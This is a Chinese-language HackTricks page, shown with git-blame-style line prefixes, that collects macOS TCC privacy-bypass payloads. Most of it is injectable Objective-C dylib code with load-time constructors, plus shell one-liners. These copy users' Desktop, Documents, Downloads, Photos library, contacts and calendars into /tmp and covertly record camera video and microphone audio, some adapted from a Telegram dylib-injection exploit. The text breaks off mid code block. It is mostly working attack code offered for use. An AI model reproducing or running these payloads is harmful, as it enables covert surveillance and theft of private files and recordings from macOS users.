2024-02-09 01:27:24 +00:00
|
|
|
|
# macOS TCC 负载
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
2024-01-05 11:51:55 +00:00
|
|
|
|
支持 HackTricks 的其他方式:
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注**我们。
|
|
|
|
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
### 桌面
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
* **授权**: 无
|
2023-12-29 14:36:01 +00:00
|
|
|
|
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
{% tab title="ObjectiveC" %}
|
|
|
|
|
将 `$HOME/Desktop` 复制到 `/tmp/desktop`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/desktop";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Desktop`复制到`/tmp/desktop`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 文档
|
|
|
|
|
|
|
|
|
|
* **权限**: 无
|
|
|
|
|
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjetiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Documents`复制到`/tmp/documents`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/documents";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/`Documents复制到`/tmp/documents`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Documents" "/tmp/documents"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 下载
|
|
|
|
|
|
|
|
|
|
* **权限**: 无
|
|
|
|
|
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjetiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Downloads`复制到`/tmp/downloads`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/downloads";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Dowloads`复制到`/tmp/downloads`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 照片库
|
|
|
|
|
|
|
|
|
|
* **权限**: `com.apple.security.personal-information.photos-library`
|
|
|
|
|
* **TCC**: `kTCCServicePhotos`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjetiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/photos";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Pictures/Photos Library.photoslibrary`复制到`/tmp/photos`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 联系人
|
|
|
|
|
|
|
|
|
|
* **权限**: `com.apple.security.personal-information.addressbook`
|
|
|
|
|
* **TCC**: `kTCCServiceAddressBook`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjetiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/contacts";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Library/Application Support/AddressBook`复制到`/tmp/contacts`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 日历
|
|
|
|
|
|
|
|
|
|
* **权限**: `com.apple.security.personal-information.calendars`
|
|
|
|
|
* **TCC**: `kTCCServiceCalendar`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="ObjectiveC" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#include <syslog.h>
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void myconstructor(int argc, const char **argv)
|
|
|
|
|
{
|
|
|
|
|
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|
|
|
|
|
|
|
|
|
NSFileManager *fileManager = [NSFileManager defaultManager];
|
|
|
|
|
NSError *error = nil;
|
|
|
|
|
|
|
|
|
|
// Get the path to the user's Pictures folder
|
|
|
|
|
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
|
|
|
|
|
NSString *tmpPhotosPath = @"/tmp/calendars";
|
|
|
|
|
|
|
|
|
|
// Copy the contents recursively
|
|
|
|
|
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
|
|
|
|
|
NSLog(@"Error copying items: %@", error);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
NSLog(@"Copy completed successfully.", error);
|
|
|
|
|
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
将`$HOME/Library/Calendars`复制到`/tmp/calendars`。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 摄像头
|
|
|
|
|
|
|
|
|
|
* **权限**: `com.apple.security.device.camera`
|
|
|
|
|
* **TCC**: `kTCCServiceCamera`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
{% tab title="ObjectiveC - Record" %}
|
|
|
|
|
录制一个3秒的视频并保存在 **`/tmp/recording.mov`** 中
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
|
|
|
|
|
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
|
|
|
|
|
|
|
|
|
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
|
|
|
|
|
@property (strong, nonatomic) AVCaptureSession *captureSession;
|
|
|
|
|
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
|
|
|
|
|
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
|
|
|
|
|
- (void)startRecording;
|
|
|
|
|
- (void)stopRecording;
|
|
|
|
|
@end
|
|
|
|
|
@implementation VideoRecorder
|
|
|
|
|
- (instancetype)init {
|
|
|
|
|
self = [super init];
|
|
|
|
|
if (self) {
|
|
|
|
|
[self setupCaptureSession];
|
|
|
|
|
}
|
|
|
|
|
return self;
|
|
|
|
|
}
|
|
|
|
|
- (void)setupCaptureSession {
|
|
|
|
|
self.captureSession = [[AVCaptureSession alloc] init];
|
|
|
|
|
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
|
|
|
|
|
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
|
|
|
|
|
NSError *error;
|
|
|
|
|
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
|
|
|
|
|
if (error) {
|
|
|
|
|
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
|
|
|
|
|
[self.captureSession addInput:self.videoDeviceInput];
|
|
|
|
|
}
|
|
|
|
|
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
|
|
|
|
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
|
|
|
|
|
[self.captureSession addOutput:self.movieFileOutput];
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
- (void)startRecording {
|
|
|
|
|
[self.captureSession startRunning];
|
|
|
|
|
NSString *outputFilePath = @"/tmp/recording.mov";
|
|
|
|
|
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
|
|
|
|
|
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
|
|
|
|
|
NSLog(@"Recording started");
|
|
|
|
|
}
|
|
|
|
|
- (void)stopRecording {
|
|
|
|
|
[self.movieFileOutput stopRecording];
|
|
|
|
|
[self.captureSession stopRunning];
|
|
|
|
|
NSLog(@"Recording stopped");
|
|
|
|
|
}
|
|
|
|
|
#pragma mark - AVCaptureFileOutputRecordingDelegate
|
|
|
|
|
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
|
|
|
|
|
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
|
|
|
|
fromConnections:(NSArray<AVCaptureConnection *> *)connections
|
|
|
|
|
error:(NSError *)error {
|
|
|
|
|
if (error) {
|
|
|
|
|
NSLog(@"Recording failed: %@", [error localizedDescription]);
|
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
@end
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
static void myconstructor(int argc, const char **argv) {
|
|
|
|
|
freopen("/tmp/logs.txt", "a", stderr);
|
|
|
|
|
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
|
|
|
|
|
[videoRecorder startRecording];
|
|
|
|
|
[NSThread sleepForTimeInterval:3.0];
|
|
|
|
|
[videoRecorder stopRecording];
|
|
|
|
|
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
{% tab title="ObjectiveC - 检查" %}
|
|
|
|
|
检查程序是否具有访问摄像头的权限。
|
|
|
|
|
{% endtab %}
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
|
|
|
|
|
|
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
|
|
|
|
|
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
|
|
|
|
|
|
|
|
|
@interface CameraAccessChecker : NSObject
|
|
|
|
|
+ (BOOL)hasCameraAccess;
|
|
|
|
|
@end
|
|
|
|
|
@implementation CameraAccessChecker
|
|
|
|
|
+ (BOOL)hasCameraAccess {
|
|
|
|
|
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
|
|
|
|
|
if (status == AVAuthorizationStatusAuthorized) {
|
|
|
|
|
NSLog(@"[+] Access to camera granted.");
|
|
|
|
|
return YES;
|
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"[-] Access to camera denied.");
|
|
|
|
|
return NO;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
@end
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
static void telegram(int argc, const char **argv) {
|
|
|
|
|
freopen("/tmp/logs.txt", "a", stderr);
|
|
|
|
|
[CameraAccessChecker hasCameraAccess];
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
使用相机拍照
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
|
|
|
|
### 麦克风
|
|
|
|
|
|
|
|
|
|
* **权限**: **com.apple.security.device.audio-input**
|
|
|
|
|
* **TCC**: `kTCCServiceMicrophone`
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
{% tab title="ObjetiveC - Record" %}
|
|
|
|
|
录制5秒音频并将其存储在 `/tmp/recording.m4a` 中
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
|
|
|
|
|
|
// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
|
|
|
|
|
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib
|
|
|
|
|
|
|
|
|
|
@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
|
|
|
|
|
|
|
|
|
|
@property (strong, nonatomic) AVCaptureSession *captureSession;
|
|
|
|
|
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
|
|
|
|
|
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;
|
|
|
|
|
|
|
|
|
|
- (void)startRecording;
|
|
|
|
|
- (void)stopRecording;
|
|
|
|
|
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
@implementation AudioRecorder
|
|
|
|
|
|
|
|
|
|
- (instancetype)init {
|
|
|
|
|
self = [super init];
|
|
|
|
|
if (self) {
|
|
|
|
|
[self setupCaptureSession];
|
|
|
|
|
}
|
|
|
|
|
return self;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
- (void)setupCaptureSession {
|
|
|
|
|
self.captureSession = [[AVCaptureSession alloc] init];
|
|
|
|
|
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
|
|
|
|
|
|
|
|
|
|
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
|
|
|
|
|
NSError *error;
|
|
|
|
|
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];
|
|
|
|
|
|
|
|
|
|
if (error) {
|
|
|
|
|
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
|
|
|
|
|
return;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if ([self.captureSession canAddInput:self.audioDeviceInput]) {
|
|
|
|
|
[self.captureSession addInput:self.audioDeviceInput];
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];
|
|
|
|
|
|
|
|
|
|
if ([self.captureSession canAddOutput:self.audioFileOutput]) {
|
|
|
|
|
[self.captureSession addOutput:self.audioFileOutput];
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
- (void)startRecording {
|
|
|
|
|
[self.captureSession startRunning];
|
|
|
|
|
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
|
|
|
|
|
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
|
|
|
|
|
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
|
|
|
|
|
NSLog(@"Recording started");
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
- (void)stopRecording {
|
|
|
|
|
[self.audioFileOutput stopRecording];
|
|
|
|
|
[self.captureSession stopRunning];
|
|
|
|
|
NSLog(@"Recording stopped");
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
#pragma mark - AVCaptureFileOutputRecordingDelegate
|
|
|
|
|
|
|
|
|
|
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
|
|
|
|
|
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
|
|
|
|
|
fromConnections:(NSArray<AVCaptureConnection *> *)connections
|
|
|
|
|
error:(NSError *)error {
|
|
|
|
|
if (error) {
|
|
|
|
|
NSLog(@"Recording failed: %@", [error localizedDescription]);
|
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
|
|
|
|
|
}
|
|
|
|
|
NSLog(@"Saved to %@", outputFileURL.path);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
@end
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
static void myconstructor(int argc, const char **argv) {
|
|
|
|
|
|
|
|
|
|
freopen("/tmp/logs.txt", "a", stderr);
|
|
|
|
|
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
|
|
|
|
|
|
|
|
|
|
[audioRecorder startRecording];
|
|
|
|
|
[NSThread sleepForTimeInterval:5.0];
|
|
|
|
|
[audioRecorder stopRecording];
|
|
|
|
|
|
|
|
|
|
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
|
|
|
|
|
fclose(stderr); // Close the file stream
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
2024-02-09 01:27:24 +00:00
|
|
|
|
{% tab title="ObjectiveC - 检查" %}
|
|
|
|
|
检查应用程序是否具有对麦克风的访问权限。
|
|
|
|
|
{% endtab %}
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
|
|
|
|
|
|
// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
|
|
|
|
|
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib
|
|
|
|
|
|
|
|
|
|
@interface MicrophoneAccessChecker : NSObject
|
|
|
|
|
+ (BOOL)hasMicrophoneAccess;
|
|
|
|
|
@end
|
|
|
|
|
@implementation MicrophoneAccessChecker
|
|
|
|
|
+ (BOOL)hasMicrophoneAccess {
|
|
|
|
|
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
|
|
|
|
|
if (status == AVAuthorizationStatusAuthorized) {
|
|
|
|
|
NSLog(@"[+] Access to microphone granted.");
|
|
|
|
|
return YES;
|
|
|
|
|
} else {
|
|
|
|
|
NSLog(@"[-] Access to microphone denied.");
|
|
|
|
|
return NO;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
@end
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
static void telegram(int argc, const char **argv) {
|
|
|
|
|
[MicrophoneAccessChecker hasMicrophoneAccess];
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
|
|
|
|
{% tab title="Shell" %}
|
2024-02-09 01:27:24 +00:00
|
|
|
|
录制一段5秒的音频并将其存储在 `/tmp/recording.wav` 中。
|
2023-12-29 14:36:01 +00:00
|
|
|
|
```bash
|
|
|
|
|
# Check the microphones
|
|
|
|
|
ffmpeg -f avfoundation -list_devices true -i ""
|
|
|
|
|
# Use microphone from index 1 from the previous list to record
|
